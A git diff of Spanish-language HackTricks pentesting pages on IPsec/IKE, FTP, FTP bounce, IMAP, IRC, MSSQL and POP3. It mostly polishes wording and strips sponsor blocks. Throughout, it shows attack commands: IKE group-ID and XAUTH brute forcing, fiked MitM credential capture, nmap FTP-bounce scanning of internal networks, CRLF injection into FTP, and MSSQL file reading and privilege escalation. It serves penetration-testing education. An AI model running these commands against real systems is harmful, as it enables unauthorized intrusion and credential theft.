@ -127,10 +119,10 @@ Esto también se puede lograr con el script de nmap _**ike-version**_
|
|||
|
||||
## Encontrar el ID correcto (nombre del grupo)
|
||||
|
||||
Para poder capturar el hash, necesitas una transformación válida que soporte el modo agresivo y el ID correcto (nombre del grupo). Probablemente no conocerás el nombre del grupo válido, así que tendrás que forzarlo por fuerza bruta.\
|
||||
Para poder capturar el hash, necesitas una transformación válida que soporte el modo agresivo y el ID correcto (nombre del grupo). Probablemente no conocerás el nombre del grupo válido, así que tendrás que forzarlo.\
|
||||
Para hacerlo, te recomendaría 2 métodos:
|
||||
|
||||
### Fuerza bruta del ID con ike-scan
|
||||
### Forzando el ID con ike-scan
|
||||
|
||||
Primero que nada, intenta hacer una solicitud con un ID falso tratando de recopilar el hash ("-P"):
|
||||
```bash
|
||||
|
@ -156,19 +148,19 @@ Or use this dict (es una combinación de los otros 2 dicts sin repeticiones):
|
|||
|
||||
### Bruteforcing ID con Iker
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para bruteforcear posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para hacer bruteforce a posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.
|
||||
|
||||
### Bruteforcing ID con ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede usar para **bruteforcear IDs también**. Esta herramienta **intenta explotar diferentes vulnerabilidades** que podrían usarse para **distinguir entre un ID válido y un ID no válido** (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método ike-scan si es posible).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede usar para **hacer bruteforce a IDs también**. Esta herramienta **intenta explotar diferentes vulnerabilidades** que podrían usarse para **distinguir entre un ID válido y un ID no válido** (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método ike-scan si es posible).
|
||||
|
||||
Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para verificar el comportamiento del servidor y determinar la táctica a usar.
|
||||
|
||||
* El **primer método** es bruteforcear los nombres de grupo buscando la información **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto).
|
||||
* El **primer método** es hacer bruteforce a los nombres de grupo buscando la información de **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto).
|
||||
* El **segundo método** disponible es **verificar el número de respuestas enviadas a cada intento** porque a veces se envían más paquetes cuando se usa el ID correcto.
|
||||
* El **tercer método** consiste en **buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto**.
|
||||
* Finalmente, si el servidor no responde nada a las verificaciones, **ikeforce** intentará bruteforcear el servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\
|
||||
Obviamente, el objetivo de bruteforcear el ID es obtener el **PSK** cuando tienes un ID válido. Luego, con el **ID** y el **PSK** tendrás que bruteforcear el XAUTH (si está habilitado).
|
||||
* Finalmente, si el servidor no responde nada a las verificaciones, **ikeforce** intentará hacer bruteforce al servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\
|
||||
Obviamente, el objetivo de hacer bruteforce al ID es obtener el **PSK** cuando tienes un ID válido. Luego, con el **ID** y el **PSK** tendrás que hacer bruteforce al XAUTH (si está habilitado).
|
||||
|
||||
Si has descubierto una transformación específica, añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
|
||||
```bash
|
||||
|
@ -205,7 +197,7 @@ Al pasar a **IKEv2**, se observa un cambio notable donde se utiliza **EAP (Proto
|
|||
|
||||
### Captura de credenciales MitM en la red local
|
||||
|
||||
Así puedes capturar los datos del inicio de sesión usando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el sniffing, lo cual se puede hacer con la ayuda de ARP spoofing, [más info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth:
|
||||
Así puedes capturar los datos de inicio de sesión usando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el sniffing, lo cual se puede hacer con la ayuda de ARP spoofing, [más info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
|
@ -213,7 +205,7 @@ También, usando IPSec intenta realizar un ataque MitM y bloquear todo el tráfi
|
|||
|
||||
### Fuerza bruta del nombre de usuario y contraseña XAUTH con ikeforce
|
||||
|
||||
Para realizar fuerza bruta en el **XAUTH** (cuando conoces un nombre de grupo **id** válido y el **psk**) puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
|
||||
Para realizar fuerza bruta del **XAUTH** (cuando conoces un nombre de grupo **id** válido y el **psk**) puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
|
@ -221,7 +213,7 @@ De esta manera, ikeforce intentará conectarse utilizando cada combinación de n
|
|||
|
||||
Si encontraste una o varias transformaciones válidas, simplemente úsalas como en los pasos anteriores.
|
||||
|
||||
## Autenticación con un VPN IPSEC
|
||||
## Autenticación con una VPN IPSEC
|
||||
|
||||
En Kali, **VPNC** se utiliza para establecer túneles IPsec. Los **perfiles** deben estar ubicados en el directorio `/etc/vpnc/`. Puedes iniciar estos perfiles utilizando el comando _**vpnc**_.
|
||||
|
||||
|
@ -260,11 +252,6 @@ Asegúrese de que se utilicen valores reales y seguros para reemplazar los marca
|
|||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
El **Protocolo de Transferencia de Archivos (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\
|
||||
|
@ -35,7 +27,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
### Conexiones Activas y Pasivas
|
||||
|
||||
En **FTP Activo**, el **cliente** FTP primero **inicia** la **conexión** de control desde su puerto N al puerto de comando del servidor FTP – puerto 21. El **cliente** luego **escucha** en el puerto **N+1** y envía el puerto N+1 al servidor FTP. El **servidor** FTP luego **inicia** la **conexión** de datos, desde **su puerto M al puerto N+1** del cliente FTP.
|
||||
En **FTP Activo**, el **cliente** FTP primero **inicia** la **conexión** de control desde su puerto N al puerto de comando del servidor FTP – puerto 21. El **cliente** luego **escucha** en el puerto **N+1** y envía el puerto N+1 al servidor FTP. El **Servidor** FTP luego **inicia** la **conexión** de datos, desde **su puerto M al puerto N+1** del cliente FTP.
|
||||
|
||||
Pero, si el cliente FTP tiene un firewall configurado que controla las conexiones de datos entrantes desde el exterior, entonces el FTP activo puede ser un problema. Y, una solución viable para eso es el FTP Pasivo.
|
||||
|
||||
|
@ -136,7 +128,7 @@ Puedes conectarte a un servidor FTP usando un navegador (como Firefox) utilizand
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Nota que si una **aplicación web** está enviando datos controlados por un usuario **directamente a un servidor FTP**, puedes enviar doble URL encode `%0d%0a` (en doble URL encode esto es `%250d%250a`) bytes y hacer que el **servidor FTP realice acciones arbitrarias**. Una de estas posibles acciones arbitrarias es descargar contenido de un servidor controlado por un usuario, realizar escaneo de puertos o intentar comunicarse con otros servicios basados en texto plano (como http).
|
||||
Nota que si una **aplicación web** está enviando datos controlados por un usuario **directamente a un servidor FTP**, puedes enviar bytes de doble codificación URL `%0d%0a` (en doble codificación URL esto es `%250d%250a`) y hacer que el **servidor FTP realice acciones arbitrarias**. Una de estas posibles acciones arbitrarias es descargar contenido de un servidor controlado por un usuario, realizar escaneo de puertos o intentar comunicarse con otros servicios basados en texto plano (como http).
|
||||
|
||||
## Descargar todos los archivos del FTP
|
||||
```bash
|
||||
|
@ -156,7 +148,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Esto indicará al servidor FTP que establezca una conexión TCP (_indicado por "2"_) con la IP 127.0.0.1 en el puerto 80. Este comando **soporta IPv6**.
|
||||
* **`LIST`** Esto enviará la lista de archivos en la carpeta actual
|
||||
* **`LIST -R`** Listar recursivamente (si lo permite el servidor)
|
||||
* **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una **conexión pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la información.
|
||||
* **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una conexión **pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la información.
|
||||
* **`STOR /path/something.txt`** Como `APPE` pero sobrescribirá los archivos
|
||||
* **`STOU /path/something.txt`** Como `APPE`, pero si existe no hará nada.
|
||||
* **`RETR /path/to/file`** Se debe establecer una conexión pasiva o de puerto. Luego, el servidor FTP enviará el archivo indicado a través de esa conexión
|
||||
|
@ -189,7 +181,7 @@ Es muy probable que esto **produzca un error como** _**Socket no writable**_ **p
|
|||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP, tal vez solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo)
|
||||
* Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP quizás solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo)
|
||||
* Simplemente **llena la solicitud con muchos caracteres nulos u otros** (divididos en líneas o no)
|
||||
|
||||
De todos modos, aquí tienes un [viejo ejemplo sobre cómo abusar de esto para hacer que un servidor FTP descargue un archivo de otro servidor FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
@ -224,15 +216,6 @@ La configuración predeterminada de vsFTPd se puede encontrar en `/etc/vsftpd.co
|
|||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## FTP Bounce - Scanning
|
||||
|
||||
### Manual
|
||||
|
@ -53,12 +45,6 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Protocolo de Acceso a Mensajes de Internet
|
||||
|
||||
El **Protocolo de Acceso a Mensajes de Internet (IMAP)** está diseñado con el propósito de permitir a los usuarios **acceder a sus mensajes de correo electrónico desde cualquier ubicación**, principalmente a través de una conexión a Internet. En esencia, los correos electrónicos son **mantenidos en un servidor** en lugar de ser descargados y almacenados en el dispositivo personal de un individuo. Esto significa que cuando se accede o se lee un correo electrónico, se hace **directamente desde el servidor**. Esta capacidad permite la conveniencia de revisar correos electrónicos desde **múltiples dispositivos**, asegurando que no se pierdan mensajes independientemente del dispositivo utilizado.
|
||||
|
@ -42,7 +34,7 @@ openssl s_client -connect <IP>:993 -quiet
|
|||
```
|
||||
### NTLM Auth - Divulgación de información
|
||||
|
||||
Si el servidor admite autenticación NTLM (Windows), puedes obtener información sensible (versiones):
|
||||
Si el servidor admite la autenticación NTLM (Windows), puedes obtener información sensible (versiones):
|
||||
```
|
||||
root@kali: telnet example.com 143
|
||||
* OK The Microsoft Exchange IMAP4 service is ready.
|
||||
|
@ -157,12 +149,6 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
IRC, inicialmente un **protocolo de texto plano**, fue asignado **194/TCP** por IANA, pero comúnmente se ejecuta en **6667/TCP** y puertos similares para evitar la necesidad de **privilegios de root** para su operación.
|
||||
|
||||
Un **apodo** es todo lo que se necesita para conectarse a un servidor. Tras la conexión, el servidor realiza una búsqueda inversa de DNS en la IP del usuario.
|
||||
Un **apodo** es todo lo que se necesita para conectarse a un servidor. Después de la conexión, el servidor realiza una búsqueda inversa de DNS en la IP del usuario.
|
||||
|
||||
Los usuarios se dividen en **operadores**, que necesitan un **nombre de usuario** y **contraseña** para más acceso, y **usuarios** regulares. Los operadores tienen diferentes niveles de privilegios, con los administradores en la parte superior.
|
||||
|
||||
|
@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
|||
|
||||
* `buscando tu nombre de host`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
@ -51,7 +43,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
|||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Si **no tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente.
|
||||
Si **no** **tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente.
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (necesita credenciales)
|
||||
|
@ -160,11 +152,11 @@ SELECT * FROM sysusers
|
|||
|
||||
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se categorizan en:
|
||||
* **Servidor** – Ejemplos incluyen bases de datos, inicios de sesión, puntos finales, grupos de disponibilidad y roles de servidor.
|
||||
* **Base de Datos** – Ejemplos abarcan rol de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
|
||||
* **Base de datos** – Ejemplos abarcan rol de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
|
||||
* **Esquema** – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
|
||||
2. **Permiso:** Asociado con los securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
|
||||
* **Nivel de Servidor** usando inicios de sesión
|
||||
* **Nivel de Base de Datos** usando usuarios
|
||||
* **Nivel de Base de datos** usando usuarios
|
||||
3. **Principal:** Este término se refiere a la entidad a la que se le otorga permiso para un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a los securables se ejerce a través de la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
|
@ -288,7 +280,7 @@ Por defecto, `MSSQL` permite la lectura de archivos **en cualquier archivo del s
|
|||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
Sin embargo, la opción **`BULK`** requiere el permiso **`ADMINISTER BULK OPERATIONS`** o el permiso **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
Sin embargo, la opción **`BULK`** requiere el permiso **`ADMINISTER BULK OPERATIONS`** o **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
|
@ -348,7 +340,7 @@ For **más ejemplos** consulta la [**fuente original**](https://blog.waynesheffi
|
|||
|
||||
### RCE con función definida por el usuario de MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Es posible **cargar un .NET dll dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**.
|
||||
Es posible **cargar un .NET dll dentro de MSSQL con funciones personalizadas**. Esto, sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**.
|
||||
|
||||
[**Sigue este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo.
|
||||
|
||||
|
@ -456,9 +448,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## Extracción de contraseñas de Servidores Vinculados de SQL Server
|
||||
|
||||
Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y desencriptar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||
Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||
|
||||
Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que todo, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
||||
Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que nada, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
||||
|
||||
Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes:
|
||||
|
||||
|
@ -466,11 +458,11 @@ Después de validar tus permisos, necesitas configurar tres cosas, que son las s
|
|||
2. Agregar un parámetro de Inicio, en este caso, se añadirá un flag de traza, que es -T7806.
|
||||
3. Habilitar la conexión remota de administrador.
|
||||
|
||||
Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios. Además de tener un script de powershell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y desencriptación de las contraseñas.
|
||||
Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios. Además de tener un script de powershell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y descifrado de las contraseñas.
|
||||
|
||||
Para más información, consulta los siguientes enlaces sobre este ataque: [Desencriptando Contraseñas de Servidores Vinculados de Base de Datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Para más información, consulta los siguientes enlaces sobre este ataque: [Descifrando Contraseñas de Servidores Vinculados de Base de Datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Solucionando Problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Solucionando Problemas con la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalación de Privilegios Locales
|
||||
|
||||
|
@ -497,16 +489,10 @@ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 pági
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
## HackTricks Comandos Automáticos
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
|
|
@ -15,26 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
**Post Office Protocol (POP)** se describe como un protocolo dentro del ámbito de las redes informáticas y de Internet, que se utiliza para la extracción y **recuperación de correos electrónicos de un servidor de correo remoto**, haciéndolos accesibles en el dispositivo local. Posicionado dentro de la capa de aplicación del modelo OSI, este protocolo permite a los usuarios obtener y recibir correos electrónicos. La operación de los **clientes POP** generalmente implica establecer una conexión con el servidor de correo, descargar todos los mensajes, almacenar estos mensajes localmente en el sistema del cliente y posteriormente eliminarlos del servidor. Aunque hay tres iteraciones de este protocolo, **POP3** se destaca como la versión más empleada.
|
||||
**Post Office Protocol (POP)** se describe como un protocolo dentro del ámbito de las redes informáticas y de Internet, que se utiliza para la extracción y **recuperación de correos electrónicos de un servidor de correo remoto**, haciéndolos accesibles en el dispositivo local. Posicionado dentro de la capa de aplicación del modelo OSI, este protocolo permite a los usuarios obtener y recibir correos electrónicos. La operación de los **clientes POP** típicamente implica establecer una conexión con el servidor de correo, descargar todos los mensajes, almacenar estos mensajes localmente en el sistema del cliente y posteriormente eliminarlos del servidor. Aunque hay tres iteraciones de este protocolo, **POP3** se destaca como la versión más empleada.
|
||||
|
||||
**Puertos predeterminados:** 110, 995(ssl)
|
||||
**Puertos por defecto:** 110, 995(ssl)
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
```
|
||||
## Enumeración
|
||||
|
||||
### Captura de Banners
|
||||
### Captura de Banner
|
||||
```bash
|
||||
nc -nv <IP> 110
|
||||
openssl s_client -connect <IP>:995 -crlf -quiet
|
||||
|
@ -104,13 +97,8 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
|
|||
| `auth_verbose_passwords` | Las contraseñas utilizadas para la autenticación se registran y también pueden ser truncadas. |
|
||||
| `auth_anonymous_username` | Esto especifica el nombre de usuario que se utilizará al iniciar sesión con el mecanismo ANONYMOUS SASL. |
|
